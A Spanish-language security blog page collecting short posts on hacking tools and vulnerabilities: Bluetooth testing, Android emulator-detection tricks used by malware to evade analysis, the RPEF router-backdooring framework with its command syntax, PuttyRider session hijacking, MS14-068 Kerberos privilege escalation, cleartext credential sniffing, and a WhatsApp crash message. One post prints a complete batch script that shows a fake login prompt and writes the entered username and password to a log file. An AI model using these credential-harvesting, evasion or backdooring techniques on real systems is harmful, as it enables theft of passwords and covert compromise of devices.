BlueMaho: suite para testing de dispositivos bluetooth

BlueMaho es una vieja tool con un GUI-shell (interface) para manejar un conjunto de herramientas utilizadas en pruebas de seguridad de Bluetooth. Es gratuita, de código abierto y está escrita en python (utiliza wxPython). Puede ser utilizada para búsqueda de vulnerabilidades conocidas en dispositivos Bluetooth y, sobretodo lo más importante, encontrar vulns desconocidas. También puede obtener lindas estadísticas.

Ya no está actualizada, pero tiene muchas características que te dan un punto de partida ideal para empezar a jugar:

- búsqueda de dispositivos, mostrar información avanzada, registros SDP, proveedor, etc.
- tracking de dispositivos - mostrar dónde y cuantas veces se ven los dispositivos, y sus cambios de nombre
- Loop scan - puede escanear todo el tiempo, mostrando dispositivos en línea
- Alertas con sonido si se encuentra un nuevo dispositivo
- on_new_device - se puede especificar qué comando debe ejecutarse cuando se encuentra un nuevo dispositivo
- Se puede utilizar dongles separados - uno para scaning (loop scan) y otro para ejecutar otras herramientas o exploits
- envío de archivos
- Cambio de nombre, clase, modalidad, BD_ADDR de dispositivos locales HCI
- Guarda los resultados en base de datos
- Crea completas estadísticas (dispositivos únicos por día/hora, proveedores, servicios, etc.)
- tests de dispositivo remotos en busca de vulnerabilidades conocidas (ver exploits para más detalles)
- tests de dispositivo remotos para vulnerabilidades desconocidas (ver herramientas para más detalles)
- se pueden personalizar temas

Más info: https://wiki.thc.org/BlueMaho

Cómo detectar si nuestra aplicación en Android se está ejecutando en un emulador

La mayoría del malware moderno trata de escapar de ser analizado y uno de las primeras cosas que hace es comprobar si se está ejecutando en un entorno controlado. En el mundo del malware para Android el ambiente controlado se refiere a un emulador. Si el malware se ejecuta en un emulador, eso significa que lo más probable es que esté siendo analizado por un investigador. Hay varios métodos que los desarrolladores de malware utilizan para detectar el entorno emulado.

1.) Comprobar el Nombre del producto:


En el emulador de Android, el nombre de producto del dispositivo contiene la cadena "sdk" por lo que es un indicio útil para detectar si la aplicación se está ejecutando en un emulador. Con el fin de comprobar el nombre del producto, puedes utilizar el siguiente fragmento de código:

if (Build.PRODUCT.contains ("sdk"))
    #do something

2.) Comprobar el Nombre del modelo:
 
El nombre del producto por defecto del emulador de Android contiene la cadena "sdk". Por lo tanto, vale la pena comprobar también el nombre del modelo con el fin de detectar el uso emulador.
if (Build.MODEL.contains ("sdk"))
    #do something

3.) Comprobar el Nombre del operador de la SIM:

 
En los emuladores de Android, el nombre del operador SIM viene con el valor por defecto "Android". Esto no ocurre en los dispositivos físicos normales aún cuando no hay una tarjeta SIM instalada en el dispositivo.
TelephonyManager localTelephonyManager = (TelephonyManager)getApplicationContext().getSystemService("phone"):
if (localTelephonyManager.getSimOperatorName().equeals ("Android"))
    #do something

RPEF: la herramienta para backdoorizar routers domésticos

Seguro que todavía resuenan en vuestros oídos noticias sobre la presencia de backdoors en muchos modelos de routers. D-Link, Netis, Netgear, Linksys, Belkin, TRENDnet, MediaLink, Sercomm ... la lista es muy larga. 

Si tu también quieres hacerte el "chino" y vender en eBay tu viejo router con un regalo sorpresa añadido (es broma, no seais malos), puedes usar RPEF...

En la Defcon 20, Michael Coppola presentó una herramienta en Python llamada RPEF (Router Post-Exploitation Framework) con la que automatiza el proceso para añadir un backdoor en un buen número de firmwares para distintos modelos de routers SOHO:

- Belkin: F5D7230-4_v1xxx
- D-Link: DIR-601_1.01NA y DIR-601_2.01NA
- Linksys: WRT120N_1.0.07_(Build_02)
- NETGEAR: WGR614v10_1.0.2.26NA, WGR614v9_1.2.30NA, WNDR3700v1_1.0.16.98NA, WNDR3700v2_1.0.0.12 y WNR1000v3_1.0.2.26NA
- TRENDnet: TEW-651BR_v2.2R_2.00B12 y  TEW-652BRP_v3.2R_3.00B13

La sintaxis básica del script (python 2.6) es: 


./rpef.py <firmware image> <output file> <payload>
 
Una vez que el firmware malicioso está actualizado/instalado y funcionando en el router, el atacante tendrá a su disposición un sniffer de red desde la línea de comandos o un bot que se puede conectar a un canal IRC especificado para lanzar una herramienta DDoS... interesante ¿verdad?

Página del proyecto: https://github.com/mncoppola/rpef

Programa del XI Ciclo de Conferencias UPM TASSI gratuitas

Del 12 de febrero al 9 de abril de 2015, cada semana y todos los jueves no festivos de 11:00 a 13:00 horas, se celebrará en el campus sur de la Universidad Politécnica de Madrid, España, el XI Ciclo de Conferencias UPM TASSI 2015, con la participación de los siguientes ponentes en las siguientes siete conferencias:
  • Conferencia 1: 12 de febrero de 2015: "Seguridad en redes móviles GSM, GPRS, 3G, 4G", José Picó y David Pérez (Layakk)
  • Conferencia 2: 19 de febrero de 2015: "ULTRA: Enigma y Fish", Román Ceano (Vector3)
  • Conferencia 3: 26 de febrero de 2015: "Memorias de un perito informático forense", Lorenzo Martínez (Securízame)
  • Conferencia 4: 5 de marzo de 2015: "Hispasec: 16 años de seguridad informática", Antonio Ropero (Hispasec)
  • Conferencia 5: 12 de marzo de 2015: "Ecrime evolution", Marc Rivero (CyberSOC Deloitte) y Dani Creus (Kaspersky Lab)
  • Conferencia 6: 26 de marzo de 2015: "Offensive forensics", Pedro Sánchez(Conexión Inversa)
  • Conferencia 7: 9 de abril de 2015: "Protección de las comunicaciones críticas por fibra óptica", José María Marín (FiberNet)
  • Conferencia 8: 16 de abril de 2015: "Malware en Android y Google Play",
    Sergio de los Santos (ElevenPaths)
Puede descargar el tríptico con el Programa del XI Ciclo de Conferencias
UPM TASSI 2015 desde esta dirección:
http://www.criptored.upm.es/descarga/TripticoTASSI2015.pdf

Se recuerda que la asistencia es libre y se entregarán 2 créditos de Continuing Professional Education CPE por conferencia a quien asista, firme su asistencia y lo solicite en la misma conferencia por escrito.

Las conferencias serán grabadas por el Gabinete de Tele-Educación GATE de la UPM, para subirlas posteriormente al canal YouTube de esta universidad.

Puede acceder a los vídeos de las anteriores ediciones desde la sección
multimedia de Criptored:
http://www.criptored.upm.es/multimedia/index.php

Más información en el sitio web de TASSI:
http://www.lpsi.eui.upm.es/GANLESI/GANLESI.htm

USBPcap: sniffer USB para Windows

USBPcap es un sniffer USB de código abierto para Windows (XP, Vista, 7 y 8). Es capaz de capturar toda la actividad de cualquier dispositivo USB en formato pcap para un posterior análisis con Wireshark (1.10.0rc1 o superior).
 

Su funcionamiento es muy sencillo. Una vez descargado (USBPcapSetup-1.0.0.7.exe) e instalado nos iremos a su directorio y ejecutaremos USBPcapCMD.exe para ver los Root Hubs. Después seleccionaremos el dispositivo que queremos monitorizar y el fichero donde se volcará la captura:


Con Control+C pararemos cuando queremos la captura y podremos analizar el fichero pcap con Wireshark. Como podéis comprobar en la siguiente imagen podemos registrar toda la actividad del USB, incluido la escritura en ficheros:



También podemos ver la captura en tiempo real con el siguiente comando:

USBPcapCMD.exe -d \\.\USBPcap1 -o - | "d:\Program Files2\Wireshark\Wireshark.exe" -k -i -

 

Web del proyecto: http://desowin.org/usbpcap/index.html
Página Github del proyecto: https://github.com/desowin/usbpcap

PuttyRider: pivotando mediante el Putty de un sysadmin hacia un servidor que se "resiste"

Una herramienta que presentaron en la Defcamp 2014 y que me llamó mucho la atención es PuttyRider de Adrian Furtunã de KPMG Rumanía. Con esta herramienta es posible aprovechar la máquina de un sysadmin que está conectado mediante Putty a un servidor Linux (SSH, Telnet, Rlogin), pudiendo pivotar desde su máquina hacia dicho servidor, algo ideal en un pentest donde no hemos descubierto ninguna vulnerabilidad importante para comprometerlo.


Como veis, lo que hace es "montar" la sesión Putty pudiendo esnifar el tráfico (incluido contraseñas) e inyectar comandos con los privilegios del usuario. Se basa en PuttyHijack e utiliza también inyección de DLLs y function hooking para secuestrar el proceso de Putty, pero además funciona con todas las versiones, con los últimos SO (Windows 8, Windows 7, etc) y no requiere privilegios de administración.

CVE-2014-6324 o cómo validarse con cualquier usuario como administrador de dominio

El 18 de noviembre Microsoft anunció en el boletín MS14-068 una vulnerabilidad crítica en Kerberos que permite elevación de privilegios.
A grandes rasgos es un fallo en el Servicio de Kerberos del Controlador de Dominio (KDC) que permite a cualquier usuario del dominio validarse contras los DCs como administradores de dominio (o cualquier otro grupo que especifiquemos).

Validación Kerberos

Para para saber en qué consiste la vulnerabilidad primero debemos entender un poco cómo funciona Kerberos. En resumen el proceso de validación de un usuario es el siguiente:

1.- Cuando un usuario se valida se genera un ticket TGT (Kerberos service ticket) con una petición AS-REQ que contiene un timestamp cifrado y el hash de la contraseña.
2.- El Servicio de Kerberos del Controlador de Dominio o KDC recibe la petición, valida los datos y responde con un AS-REP. El TGT ahora contiene un PAC con todos los grupos a los que pertenece el usuario.
3.- Cuando el usuario quiere acceder a un recurso del Directorio, el TGT generado se presenta al KDC junto con ese recurso específico (Service Principal Name). 
4.- El Controlador de Dominio determina si el TGT es válido y, si lo es, genera un TGS (Resource Access Ticket) cifrado/firmado con una parte de la clave de sesión (hash NTLM de la contraseña del usuario o clave privada de un certificado válido) y con la cuenta KRBTGT, una cuenta especial que reside en todos los DCs que nunca no debe ser borrada ni renombrada.
5.- El TGS luego se envía al KDC para validar la sesión (comprueba si puede descifrarlo con la clave de sesión) y los grupos del PAC para determinar los derechos de acceso del usuario. 


Por defecto el TGT es válido 10 horas y puede ser renovado automáticamente por 7 días. Este ticket no permite el acceso directo a un servicio en particular, sino que "representa" la identidad del usuario actual que ha sido validado por el KDC. El propio TGT está cifrado por el KDC vía el hash de la cuenta krbtgt. El cliente no puede descifrarlo, lo usa "tal cual".

Capturando credenciales en claro mediante un firewall Fortigate

En este mundillo estamos cansados de repetir que se sustituya FTP y telnet por sus respectivos equivalente seguros: SCP, FTPS, SFTP, SSH... pero después de tantos años se siguen utilizando :(

Hoy vamos a hacer una pequeña demostración de la inseguridad del uso de estos protocolos no cifrados capturando tráfico mediante un firewall y obteniendo las contraseñas en claro. 

En la vida real el firewall podría ser la máquina de un atacante, el cuál tendría la misma facilidad para robar credenciales simplemente esnifando el tráfico en un nodo que está en medio del camino de nuestra conexión cliente-servidor. Y no sólo el atacante podría ser una persona hábil que ha envenenado ARP y ha conseguido hacer un MiTM... en este gran entramado que es Internet, un ISP o hasta el administrador de red de una empresa podría estar vigilando...

Para nuestro escenario concreto el firewall será un Fortigate. Estos cacharros tienen una gran variedad de comandos de diagnóstico. Permiten depurar aplicaciones comunes (ike, sslvpn, urlfilter...), el proceso de flujo de paquetes e incluso activar un sniffer bastante decente que arroja una salida muy similar a la de tcpdump (será un fork?). La sintaxis del comando es la siguiente:


# diag sniffer packet <interfaz> <'filtro'> <verbose> <contador> a

Veamos primero un ejemplo sencillo:
# diag sniffer packet internal 'src host 192.168.0.130 and dst host 192.168.0.1' 1

192.168.0.130.3426 -> 192.168.0.1.80: syn 1325244087
192.168.0.1.80 -> 192.168.0.130.3426: syn 3483111189 ack 1325244088
192.168.0.130.3426 -> 192.168.0.1.80: ack 3483111190
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244088 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244686
192.168.0.130.1035 -> 192.168.0.1.53: udp 26
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130.1035 -> 192.168.0.1.53: udp 42
192.168.0.130 -> 192.168.0.1: icmp: echo request
192.168.0.130.3426 -> 192.168.0.1.80: psh 1325244686 ack 3483111190
192.168.0.1.80 -> 192.168.0.130.3426: ack 1325244735
192.168.0.130 -> 192.168.0.1: icmp: echo request

Super-cutre script para capturar credenciales en batch

Algo cutre pero muy apañao... y seguro que más de uno se dará un gustazo con el batch... Xd
 

Se trata de un script para hacerse un keylogger *muy* básico. Simplemente crea el directorio c:\Logs y luego lanza el fichero Logger.bat con el siguiente código:
@echo off
color a
title Login
cls
echo Introduce usuario y password para poder ejecutar el programa:
echo.
echo.
cd "C:\Logs"
set /p user=Username:
set /p pass=Password:
echo Username="%user%" Password="%pass%" >> Log.txt
start calc.exe
exit
Enjoy!

Fuente: http://www.latesthackingnews.com/2014/04/09/how-to-create-a-keylogger-in-notepad/

El "texto de la muerte" para los usuarios de WhatsApp en Android

Si hace tiempo hablamos del descubrimiento de un "texto de la muerte" en Apple hoy hablamos de algo similar para WhatsApp...

Dos investigadores indios de tan sólo 17 años han reportado que existe una vulnerabilidad en WhatsApp que permite que la aplicación se detenga por completo al intentar leer un sólo mensaje de 2000 caracteres especiales y tan sólo 2 KB de tamaño.



La vulnerabilidad ha sido probada y funciona correctamente en la mayoría de las versiones de Android y de WhatsApp incluyendo la 2.11.431 y 2.11.432. Sin embargo todavía no se ha probado en iOS y Windows no parece ser vulnerable.

Esto podría provocar que se extienda como una pesada broma la moda de bloquear WhatsApp a otras personas, cuyo modo de recuperar el uso de la misma sería borrando la conversación y el historial de chat con quien estábamos conversando. Imaginad que ocurre si este mensaje se envía a un grupo...


Fuente: Crash Your Friends' WhatsApp Remotely with Just a Message